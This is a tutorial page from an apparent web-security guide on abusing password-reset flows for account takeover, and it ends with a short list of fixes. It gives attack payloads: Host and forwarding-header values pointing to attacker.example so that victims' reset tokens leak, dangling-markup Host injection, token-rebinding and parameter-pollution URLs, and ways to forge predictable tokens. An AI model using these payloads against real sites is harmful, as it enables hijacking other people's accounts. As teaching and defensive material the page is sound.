Authentication Vulnerabilities: The Complete Practical Guide

Password Reset Flaws and Account Takeover

How password reset flows are abused: host-header poisoning, leaked and predictable tokens, tokens with no expiry or user binding, chained to account takeover.

Published

The password-reset flow is the single richest account-takeover surface, because its entire job is to issue a new credential to someone who lost the old one. Get between the user and that credential, or abuse a weak token, and you own the account without ever knowing the password. This page walks the flow to takeover. Practice on a free live target.

The reset flow as an attack surface

A typical reset does four things: you request a reset for an account, the server generates a token, it emails a link containing that token, and submitting the link with a new password changes the credential. Every one of those steps has a failure mode. The token can leak, be predictable, never expire, or not be bound to the account, and the link itself can be redirected to you. Map the whole flow first by triggering a reset and capturing every request and response.

Host-header poisoning

The highest-impact reset bug: the app builds the emailed link from the Host header of your request. Set it to your server and the victim's link, with their token, points at you:

POST /forgot-password HTTP/1.1
Host: attacker.example
Content-Type: application/x-www-form-urlencoded
 
username=victim

When the app validates the real Host but still trusts a forwarding header, use those instead, and when all else is validated, a non-numeric port injected into Host is often reflected unescaped into the link, letting you break out of it (dangling markup) toward your server:

X-Forwarded-Host: attacker.example
X-Host: attacker.example
X-Original-Host: attacker.example
Forwarded: host=attacker.example
Host: target.example:aaa'><a href="//attacker.example/?
Host: [email protected]
Host: attacker.example                 (duplicate Host header)

When the victim requests or clicks a reset, the token arrives at your server in the link, the referer, or the request, and you use it to set a new password. The core bug is that the link host should never come from the request.

Token leakage and weak tokens

Even without touching the host, the token itself is often weak:

Token in the response body/JSON of the "send reset" call   -> use it directly
Token in the redirect Location header or logs
Predictable token:  base64(email) / md5(username) / sequential id / timestamp-derived
No expiry:          reuse an old emailed link indefinitely
No single-use:      submit the same token twice

If the "send reset" response contains the token, you do not need the email at all. If the token is a transformation of public data like the email, you forge it. If it never expires or is reusable, an old link keeps working. Decode and inspect every token before assuming it is random.

Rebinding the token to a victim

A token should be cryptographically tied to exactly one account server-side. When the account is instead taken from a request parameter, keep your own valid token and change who it applies to:

reset?token=<your-valid-token>&user=victim
[email protected]&[email protected]     (parameter pollution)

If the server derives identity from the user field rather than from the token binding, your token resets the victim. Parameter pollution is a variant: supply the email twice and hope the validation and the send-to logic read different copies.

Chaining to full takeover

These rarely stand alone. The classic chain is: enumerate a target account, trigger its reset, obtain the token through poisoning or leakage, set a new password, and log in. It also chains the other direction, from broken access control: if any flaw lets you change a victim's email to one you own, you then trigger a normal reset to your own inbox. The reset flow is the pivot that converts almost any identity or email-control bug into a full takeover.

Fixing it

  • Build the reset URL from a server-side configured host, never from the Host or any forwarding header.
  • Use high-entropy, single-use, short-TTL tokens, store only their hash, and bind each token to exactly one account server-side. Derive the account from the token, never from a client-supplied field.
  • Never place a token in a response body, header, or log.
  • Invalidate all reset tokens and active sessions on password change, and re-authenticate before changing the email or password.

Full defensive detail is in securing authentication. Next, see how a session betrays a logged-in user in session attacks, or try a reset takeover on a free lab.

← Back to Authentication Vulnerabilities: The Complete Practical Guide